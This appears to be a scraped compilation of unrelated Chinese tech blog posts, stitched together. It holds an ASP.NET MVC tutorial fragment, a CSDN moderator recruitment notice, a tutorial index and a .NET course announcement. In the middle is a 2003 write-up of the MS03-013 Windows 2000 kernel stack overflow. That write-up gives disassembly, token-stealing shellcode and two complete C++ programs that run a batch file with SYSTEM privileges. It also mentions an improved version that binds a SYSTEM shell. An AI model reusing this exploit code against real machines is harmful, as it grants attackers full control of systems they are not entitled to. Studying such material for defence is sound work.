文件夹下的与控制器类同名的文件夹下寻找与Action
方法同名的视图。例如,HomeController
Index
方法就会寻找Views/Home/Index.aspx
,如果找不到,就会到Shared
下寻找,再找不到就报错了。当然,你也可以给View
方法传递一个字符串参数,表示视图名称。



实现视图




     
上文说到,当请求
http://localhost/Home/Index


时,HomeController
Index
方法会被调用,而Index
方法最后要呈现Views/Home/Index.aspx
视图,所以,我们要在Views
文件夹下建立一个Home
文件夹,然后再新建一个Index.aspx
视图。如果您使用的是VS2008 SP1
,那么建立视图非常方便,只要在Home
文件夹下右键单击,选Add—>View
,然后指定视图名就可以了。如果不是SP1
的,就新建一个Item
,类型选择“MVC View Page
”。建立好的视图其实就是一个aspx
页面,但是其继承了View
。这也是一个基类,所有视图需要继承它。


     

下面给出Index.aspx
的代码:
Index.aspx:

 

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Index.aspx.cs" Inherits="MVCDemo.Views.Home.Index" %>
<%@ Import Namespace="MVCDemo.Models.Entities" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title></title>
</head>
<body>
    <% List<CategoryInfo> categories=ViewData["Categories"] as List<CategoryInfo>; %>
    <div>
        <h1>400电话
MVC公告发布系统</h1>
        <ul>
            <% foreach (CategoryInfo c in categories)
               {
                    %>
            <li><%= Html.ActionLink(c.Name, "List/" + c.ID, "Announce") %></li>
            <% } %>
        </ul>
    </div>
</body>
</html>

 

 


     

大约分析一下。刚才说过,Index
这个Action
最后呈现这个aspx
作为视图,而且ViewData
中包含了要给视图传递的数据。在那里,我们将所有公告类别数据放在ViewData[“Categories”]
中。这里可以看到,我们将这些数据取出,并用来呈现页面。至于那个Html.Action
,这里先不细说。你只要知道,这个方法可以生成一个链接,其中第一个参数是链接文字,第二个是要链接到的url
Action
名,第三个是要链接到的url
的控制器名。关于这些,我们以后细细讨论。


     

运行这个例子,并将请求url
定位到Home/Index
,就可以看到运行效果。


     

你可能会发现,不需要指定Home/Index
,在输入根目录后就直接呈现了这个页面。其实这是因为在默认的路由配置里,Home
Index
是默认的控制器名和Action
名。以后我们将会讨论路由问题。



小结




     
通过上面的过程,我们第一个ASP.NET MVC
页面已经能呈现出来了。而且不单纯只是一个页面,其中还呈现了业务逻辑组件返回的数据。


     

也许,您对其中许多地方还有困惑。不要着急,在下一篇中,我们做这个系统的步伐先

  • 大小: 15.4 KB
  • 大小: 59 Bytes

windows2000kernelexploit的一点研究

windows 2000 kernel exploit 的一点研究

ey4s<cooleyas@21cn.com>
2003-05-23

以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。

-=-=-=- 第一部分 实例分析 -=-=-=-

MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.

按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。

背景知识: user-mode debuger工作流程
<1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
<2>debuger等待进程B产生debug事件
<3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
<3>debuger处理debug事件,发送消息给进程B。
<4>进程B接受debuger发送的消息,进程复苏。
<5>循环2-4

消息传递是通过lpc port来进行的,流程如下所示:
debuger <–> kernel <–> process B

上面所说的消息结构如下:
typedef struct _DEBUG_MESSAGE
{
PORT_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;

typedef struct _PORT_MESSAGE
{
USHORTDataSize;//数据长度
USHORTMessageSize;//总长度
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}PORT_MESSAGE, *PPORT_MESSAGE;

在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。

结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
<>debuger send large reply –> kernel
<>kernel delivers reply -> process B
在kernel处理这个恶意的reply时,溢出发生了。

注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。

OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。

首先,debuger发送的reply长度是有限制的,我们来看看:

//Data长度要小于等于总长度-0x18
NtReplyPort+0x4D
0008:8049DC89PUSH06
0008:8049DC8BPOP ECX
0008:8049DC8CMOV ESI,[EBP+0C]//reply message地址
0008:8049DC8FLEA EDI,[EBP-3C]
0008:8049DC92REPZ MOVSD
0008:8049DC94ORDWORD PTR [EBP-04],-01
0008:8049DC98MOVSX EAX,WORD PTR [EBP-3C]//取message DataSize
0008:8049DC9CADD EAX,18
0008:8049DC9FMOVSX ECX,WORD PTR [EBP-3A]//取message TotalSize
0008:8049DCA3CMP EAX,ECX//判断DataSize+0x18是否大于TotalSize
0008:8049DCA5JA804EEE93

//Reply总长度不能超过0x148
0008:8049DCD3MOV AX,[EBP-3A]//取message TotalSize
0008:8049DCD7MOVSX EDX,AX
0008:8049DCDAMOV ECX,[EBP-20]
0008:8049DCDDCMP EDX,[ECX+34]//[ecx+34]处内容为0x148
0008:8049DCE0JA804EEF82

所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。

接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
DbgkpSendApiMessage
|_ LpcRequestWaitReplyPort
|_ 80433399
|_ LpcpMoveMessage<– kernel stack buffer overflow

_DbgkpSendApiMessage(argv1, argv2, argv3)
_DbgkpSendApiMessage
0008:8052CF45PUSHEBP
0008:8052CF46MOV EBP,ESP
0008:8052CF48SUB ESP,00000100//从stack中分配0x100字节内存
……
0008:8052CF5EMOV ESI,[EBP+08]
……
0008:8052CF78LEA EAX,[EBP-0100]
0008:8052CF7EPUSHEAX
0008:8052CF7FPUSHESI
0008:8052CF80PUSHDWORD PTR [EBP+0C]
0008:8052CF83CALL_LpcRequestWaitReplyPort
……
0008:8052CFBARET 000C

_LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
_LpcRequestWaitReplyPort
0008:8049CFD3PUSH00
0008:8049CFD5PUSHDWORD PTR [ESP+10]
0008:8049CFD9PUSHDWORD PTR [ESP+10]
0008:8049CFDDPUSHDWORD PTR [ESP+10]
0008:8049CFE1CALL80433399
0008:8049CFE6RET 000C

80433399(argv3, argv2, stack_buff, 0)
80433399+0x3da
0008:80433773MOV ESI,[EBP+0C]
0008:80433776XOR EDI,EDI
0008:80433778PUSHEDI
0008:80433779PUSHEDI
0008:8043377ALEA EAX,[ESI+30]
0008:8043377DPUSHEAX
0008:8043377ELEA EAX,[ESI+18]
0008:80433781PUSHEAX
0008:80433782PUSHDWORD PTR [EBP+10]
0008:80433785CALL_LpcpMoveMessage

_LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
_LpcpMoveMessage
0008:80402276PUSHESI
0008:80402277PUSHEDI
0008:80402278MOV EDI,[ESP+0C]
0008:8040227CCLD
0008:8040227DMOV ESI,[ESP+10]
0008:80402281LODSD
0008:80402282STOSD
0008:80402283LEA ECX,[EAX+03]//取得DataSize
0008:80402286AND ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
0008:8040228CSHR ECX,02//DataSize除4
0008:8040228FLODSD
0008:80402290MOV EDX,[ESP+18]
0008:80402294OREDX,EDX
0008:80402296JZ8040229B
0008:80402298MOV AX,DX
0008:8040229BSTOSD
0008:8040229CMOV EDX,[ESP+1C]
0008:804022A0OREDX,EDX
0008:804022A2JZ804022B0
0008:804022A4MOV EAX,[EDX]
0008:804022A6STOSD
0008:804022A7MOV EAX,[EDX+04]
0008:804022AASTOSD
0008:804022ABADD ESI,08
0008:804022AEJMP 804022B2
0008:804022B0MOVSD
0008:804022B1MOVSD
0008:804022B2MOVSD
0008:804022B3MOVSD
0008:804022B4MOV ESI,[ESP+14]
0008:804022B8REPZMOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
0008:804022BAPOP EDI
0008:804022BBPOP ESI
0008:804022BCRET 0014

-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-

一、确定retloc地址。

从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。

二、确定retaddr地址。

因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:

|…nop…|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|

realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
再后面跟的就是返回应用态后进程B应该对应的寄存器值了。

三、提升权限。

显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。

在windows 2000平台中:
当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。

实现代码如下:

//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token

四、从内核态正确返回应用态

溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:

内存高处 栈底
|      |
|ds| <– 返回应用态后的ds
|esp | <– 返回应用态后的esp
|eflags| <– 返回应用态后的flags
|cs| <– 返回应用态后的cs
|eip | <– 返回应用态后的eip
内存低处 栈顶

我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。

-=-=-=- 第三部分 exploit -=-=-=-

/*——————————————————————-
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
——————————————————————-*/
#include <windows.h>
#include <stdio.h>
#pragma pack(1)

typedef struct _SomeInfo
{
DWORDdwNum;
DWORDdwRealCode;
DWORDdwShellCode;
DWORDdw[3];
DWORDdwESP;
DWORDdwCS;
DWORDdwDS;
DWORDdwES;
}SOMEINFO, *PSOMEINFO;

unsignedcharshellcode[512];
unsignedcharrealcode[512];
DWORDdwFS;
HANDLEhProcess;
DWORDdwRun;
SOMEINFOsi;

voidshellcodefnlock();
voidrealcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;

CreateProcess(NULL, “ey4s.bat”, NULL, NULL,
TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
exit(0);
}

void main()
{
HMODULEh;
DWORDdwESP, dwCS, dwDS, dwES;

//保存寄存器值
__asm
{
movdwESP, esp
subdwESP, 0x100

pushcs
popeax
andeax,0xFFFF
movdwCS, eax

pushds
popeax
andeax,0xFFFF
movdwDS, eax

pushes
popeax
andeax,0xFFFF
movdwES, eax

pushfs
popeax
andeax,0xFFFF
movdwFS, eax
}
//取得shellcode
getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
//传递一些信息给debuger
dwRun = (DWORD)&CreateNewProcess;
si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
si.dwRealCode = (DWORD)&realcode;
si.dwShellCode = (DWORD)&shellcode;
si.dwESP = dwESP;
si.dwCS = dwCS;
si.dwDS = dwDS;
si.dwES = dwES;
printf( “shellcode 0x%.8X\n”
“realcode 0x%.8X\n”
“ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n”,
si.dwShellCode, si.dwRealCode, si.dwESP,
si.dwCS, si.dwDS, si.dwES, dwFS);
RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
//触发Load Dll和Free Dll事件
while(1)
{
//printf(“.”);
h=LoadLibrary(“ws2_32.dll”);
Sleep(1000);
FreeLibrary(h);
Sleep(1000);
}
}

voidshellcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/

/*——–提升权限——–*/
//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token

/*————从核心态返回应用态————–*/
//保存esp
movesi,esp

//搜索iretd所需要的参数
moveax,esp
addeax,0x10//跳过我们的数据
next:
addeax,0x4
movebx,[eax]
cmpebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
jnenext
//
subeax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
movesp,eax
mov[eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
addeax,0xC
//设置返回应用态后的esp
movebx,[esi]
mov[eax], ebx

//恢复寄存器值
push[esi+0x8]
popds
push[esi+0xc]
popes
//返回应用态
iretd
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

voidrealcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/
pushdwFS
popfs
//call our function
calldwRun
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
unsignedchartemp;
unsignedchar*shellcodefnadd, *start;
intlen,k;
char *fnendstr=”\x90\x90\x90\x90\x90\x90\x90\x90\x90″;
#defineFNENDLONG 0x08

/* 定位 shellcodefnlock的汇编代码 */
shellcodefnadd=pSrc;
temp=*shellcodefnadd;
if(temp==0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k)
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
break;
/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
len=0;
start=shellcodefnadd+k+8;
//len = 2*wcslen(shellcodefnadd+k+8);
while((BYTE)start[len] != (BYTE)’\xcc’)
{
pDst[len] = start[len];
len++;
if(len>=iSize-1) break;
}
//memcpy(shellcode,shellcodefnadd+k+8,len);
pDst[len]=’\0′;
}

/*——————————————————————-
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
——————————————————————-*/
#include <windows.h>
#include <stdio.h>

#defineoffset0x100+0x4-0x6*4

typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;

typedef struct _LPC_MESSAGE
{
USHORTDataSize;
USHORTMessageSize;
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
DWORD Length;
HANDLERootDirectory;
PUNICODE_STRING ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(

OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONGMaxConnectInfoLength,
IN ULONGMaxDataLength,
IN OUT PULONG Reserved OPTIONAL );

typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGEIncomingRequest );

typedef
DWORD
(CALLBACK * NTREPLYPORT)(

IN HANDLE PortHandle,
IN PLPC_MESSAGE Reply );

typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOIDProcessInformation,
IN ULONGProcessInformationLength );

typedef struct _DEBUG_MESSAGE
{
LPC_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;

NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORTNtReplyWaitReceivePort;
NTCREATEPORTNtCreatePort;
NTREPLYPORTNtReplyPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};

PROCESS_INFORMATIONpi;

int main()
{
HMODULE hNtdll;
DWORDdwAddrList[9];
BOOLbExit = FALSE;
DWORDdwRet;
HANDLEhPort;
intk=0;
DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply;
STARTUPINFOsi={sizeof(si)};

printf( “\nxDebug -> windows kernel exploit for MS03-013\n”
“Written by ey4s<cooleyas@21cn.com>\n”
“2003-05-23\n\n”);

//get native api address
hNtdll = LoadLibrary(“ntdll.dll”);
if(hNtdll == NULL)
{
printf(“LoadLibrary failed:%d\n”, GetLastError());
return 0;
}

NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
GetProcAddress(hNtdll, “NtReplyWaitReceivePort”);

NtCreatePort = (NTCREATEPORT)
GetProcAddress(hNtdll, “NtCreatePort”);

NtReplyPort = (NTREPLYPORT)
GetProcAddress(hNtdll, “NtReplyPort”);

NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
GetProcAddress(hNtdll, “NtSetInformationProcess”);

//create port
dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
if(dwRet != 0)
{
printf(“create hPort failed. ret=%.8X\n”, dwRet);
return 0;
}
//create process
if(!CreateProcess(0, “debugme.exe”, NULL, NULL, TRUE,
CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf(“CreateProcess failed:%d\n”, GetLastError());
return 0;
}
//set debug port
dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
&hPort, sizeof(hPort));
if(dwRet != 0)
{
printf(“set debug port error:%.8X\n”, dwRet);
return 0;
}
//printf(“pid:0x%.8X %d hPort=0x%.8X\n”, pi.dwProcessId, pi.dwProcessId, hPort);
ResumeThread(pi.hThread);

while (true)
{
memset(&dm, 0, sizeof(dm));
NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
k++;
switch (dm.DebugEvent.dwDebugEventCode+1)
{
case EXCEPTION_DEBUG_EVENT:
printf(“DEBUG_EVENT –> except\n”);

if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
{
memcpy((unsigned char *)&dwAddrList,
(unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
sizeof(dwAddrList));
/*intn;
for(n=0;n<6;n++)
printf(“%.8X\n”, dwAddrList[n]);*/
}
break;

case CREATE_THREAD_DEBUG_EVENT:
printf(“DEBUG_EVENT –> create thread\n”);
break;

case CREATE_PROCESS_DEBUG_EVENT:
printf(“DEBUG_EVENT –> create process\n”);
break;

case EXIT_THREAD_DEBUG_EVENT:
printf(“DEBUG_EVENT –> exit thread\n”);
break;

case EXIT_PROCESS_DEBUG_EVENT:
printf(“DEBUG_EVENT –> exit process\n”);
bExit = TRUE;
break;

case LOAD_DLL_DEBUG_EVENT:
printf(“DEBUG_EVENT –> load dll\n”);
break;

case UNLOAD_DLL_DEBUG_EVENT:
printf(“DEBUG_EVENT –> unload dll\n”);
break;

case OUTPUT_DEBUG_STRING_EVENT:
printf(“DEBUG_EVENT –> debug string\n”);
break;

} //end of switch
//printf(“k=%d\n”,k);
if(k==10)
{
//printf(“************\n”);
//Sleep(4*1000);
memset(&PortReply, 0, sizeof(PortReply));
memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x148;
PortReply.DataSize = 0x130;
memset(&PortReply.Data, ‘a’, sizeof(PortReply.Data));
memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
dwRet = NtReplyPort(hPort, &PortReply);
if(dwRet ==0 )
printf(“Send shellcode to ntoskrnl completed!”
“Wait for exit.\n”);
else
printf(“NtReply err:%.8X\n”, dwRet);
}
else
NtReplyPort(hPort, &dm.PORT_MSG);
if(bExit) break;
}//end of while
return 0;
}

编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。

-=-=-=- 第四部分 其他 -=-=-=-

个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
<1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
<2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
其他的就跟user-mode exploit没什么区别了。

在这过程中参考了大量书籍、资料,向作者们表示感谢!

References:
<>http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
<>http://person.okey.net/~webcrazy/ webcrazy
<>http://www.chapeaux-noirs.org crazylord

books:
*Windows NT/2000 Native API Reference
*Inside Microsoft Windows 2000, Third Edition

-=-=-=- 第五部分 后记 -=-=-=-
以上exp只能在以下情况下成功:
<>交互登录时,直接运行
<>交互登录时,以普通用户身份运行xdebug
不能用于:
<>asp shell

在aspshell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。

CSDN继续招聘Java技术各子版版主:)

http://topic.csdn.net/T/20050403/10/3904458.html

  招聘Java技术各子版版主,热切希望现任Java技术大版主与各子版主极力推荐与各热心网友们自荐!谢谢!   
   
  为了推动Java技术版的气氛,为广大的网友们服务:   
   
  一、职责:负责删除广告等垃圾帖子,负责移动不符合版块要求的帖子到其他版块,积极回复网友的帖子,配合管理员的相关工作安排。要求每天能有2小时以上上网时间,认真负责自己所在版块的事务。  
  二、条件:熟悉相应版块的技术,有相关的经验,积极热情为网友们的帖子进行回复。  
  三、有意者,留下按照以下的方式进行。  
   
  ==============================================================================  
  1、原则是社区等级要中级以上,发贴和回复总数超过50篇,现任版主推荐更佳;  
  2、版主一般不兼职,   只做一个版的版主;  
  3、按下表填写申请单,并在Java非技术区中发表。  
    申请表请以“XXX(ID号)申请YYY(版名)版版主”为标题发表,否则无效  
    申请人的ID号:  
    申请子版名称:  
    个人电子邮件:  
    平均上网时间(小时/天):  
    能取得联系的上网时段:  
    能在以上时段取得联系的方法(如QQ号码、MSN):  
    申请该版版主的理由:  
    职业及专长(突出你管理该版的优势):  
    您认为该版目前现状是否需改进及您的管理方针:  
    对繁荣本讨论区有何想法或建议:  
  4、经大版主批准,将正式成为版主,并在Java非技术区中公告之。  
  5、每个新上任的版主有一个月的试用期,表现不好直接进行撤职并在Java非技术区中进行公告之。  
  6、原则上一个版不超过3位版主。  
   
  请到Java非技术区申请

申请地址:http://community.csdn.net/Expert/ForumList.asp typenum=1&roomid=5402

《ASP.NETMVC案例教程》索引贴

本系列文章通过一个虚拟的案例——《MVC公告发布系统》的开发过程,全面展示了ASP.NET MVC的基本使用方法,同时在讨论了这个框架的基本原理。
这个文章系列的目的就是使朋友们更轻松的入门ASP.NET MVC。
这个系列会包含的内容有:ASP.NET MVC基本应用、基本原理、路由处理、表单处理、与ASP.NET AJAX结合、与JQuery结合、拦截器等。

摘要: 本文将简要介绍这个文章系列的目的、形式及大体内容。并且完成开始学习这个系列前所必要的准备工作。

摘要: 本文首先一步一步完成Demo的第一个页面——首页。然后根据实现过程,说明一下其中用到的与ASP.NET MVC相关的概念与原理。

摘要: 本文对ASP.NET MVC的全局运行机理进行一个简要的介绍,以使得朋友们更好的理解后续文章。

摘要: 本文将完成我们“MVC公告发布系统”的公告发布功能,以此展示在ASP.NET MVC中如何传递处理表单的数据。

摘要: 本文将从完成“输入数据验证”这个功能出发,逐渐展开ASP.NET MVC与Ajax结合的方法。首先,本文将使用ASP.NET MVC提供的同步方式完成数据验证。而后,将分别结合ASP.NET AJAX和JQuery将这个功能重构成异步形式。

摘要: 本文将对“MVC公告发布系统”的发布公告功能添加日志功能和异常处理功能,借此来讨论ASP.NET MVC中拦截器的使用方法。

ASP.NET MVC案例教程(基于ASP.NET MVC beta)——第七篇:闲话ASP.NET MVC

摘要: 本文作为《ASP.NET MVC案例教程》的完结篇,仅从个人角度,发表一些对ASP.NET MVC框架的看法。并且在最后会附上本系列文章的Demo下载。

(本系列文章完)

金旭亮老师《.NET软件开发技术基础》公开课公告

<iframe align=”top” marginwidth=”0″ marginheight=”0″ src=”http://www.zealware.com/46860.html” frameborder=”0″ width=”468″ scrolling=”no” height=”60″></iframe>

《.NET软件开发技术基础》公开课公告

自2004年以来,我在北京理工大学每学期都开设《.NET软件开发技术基础》通识选修课,面向计算机专业低年级本科生或非计算机专业本科生,以讲座的方式展示新一代Windows软件开发平台的概貌,让学生直观了解现代软件开发技术与开发方式,激发出对软件开发的兴趣。

3年下来,教学效果良好,引发了不少学生对软件开发的兴趣,许多学生在选修完此课后主动学习更多的软件开发技术,将学到的技术与自己的专业结合起来,开发出各种各样的实用小程序,并积极参与软件项目开发实践,更有些学生对软件开发产生了深厚的兴趣,发现自己在软件开发领域有潜力,从而改变了考研的方向,下决心跨专业直接报考计算机系研究生。

作为一名教师,看到这么一门小小的选修课能起到这样的作用,感到非常高兴。也有了更大的动力不断改进教学方法,更新教学内容,以跟上软件最新技术的发展。

为了帮助更多的而不仅仅是本校的学生了解.NET平台与现代软件开发技术,特将本学期本课程的上课时间地点公布,欢迎有时间有兴趣的朋友们过来互相交流。

------------------------------

《.NET软件开发技术基础》通识选修课

第04~15教学周每周四晚(18:40~21:30)北京理工大学本部信息教学楼3004教室。

共10次讲座,第一次课为9月27日晚,最后一次为12月13日晚。

讲课的主要内容:

第1讲 概述:介绍现代软件开发技术的发展与.NET Framework基础

第2讲 用户界面设计:介绍如何使用Visual Studio 2005进行可视化界面设计,RAD的基础知识

第3讲 编程语言基础:介绍Visual Basic 2005语言的基本语法,培养编程的基本技能

第4讲 Windows Form程序设计:在前几讲的基础之上,介绍如何开发出一个功能比较完备的桌面应用程序的基础技术与基本方法

第5讲 计算机绘图原理:介绍GDI+

第6讲 面向对象的程序设计语言:介绍封装、继承、多态、委托、事件等面向对象语言特性,以及CBD(组件化开发)理论

第7讲 访问数据:介绍ADO.NET 2.0与SQL Server 2005

第8讲 互联网程序设计基础(上):互联网程序设计基础(HTML,CSS,JavaScript)+ ASP.NET基本原理,常用控件的使用

第9讲 互联网程序设计基础(下):Web Service与AJAX,开发分布式软件系统,新一代的Windows软件开发技术(SilverLight与WCF)简介

第10讲 IT 风云:我所看到的中国IT业二十年风云录, 实际上是一次“故事会”,不讲技术。

-----------------------------------

说明:

(1)每学期我会对教案进行调整,因此,最终的讲课内容可能会有所变动。

(2)这门课程专门设计用来给很少甚至没有基础的学生了解现代软件开发技术概貌的,因此,对已有较多开发经验的朋友可能没多少帮助。

(3)整个课程的实践性非常强,我会在现场敲代码写实例,因此,如果有笔记本电脑的最好带来,与我同步编码实践,出现问题现场解决。软件开发环境为Visual Studio 2005中文版。前面主要用Visual Basic 2005,后面则VB与C# 的实例都有。

(4)大学一般不鼓励校内课程向校外开放(当然也没有明文禁止,我打的是擦边球),因此,希望来听课的朋友维护学校的正常教学秩序,遵守上课纪律。

最后,期望我能为您学习软件开发技术起一点推动作用。

金旭亮

2007年8月31日

Trackback: http://tb.blog.csdn.net/TrackBack.aspx PostId=1766525

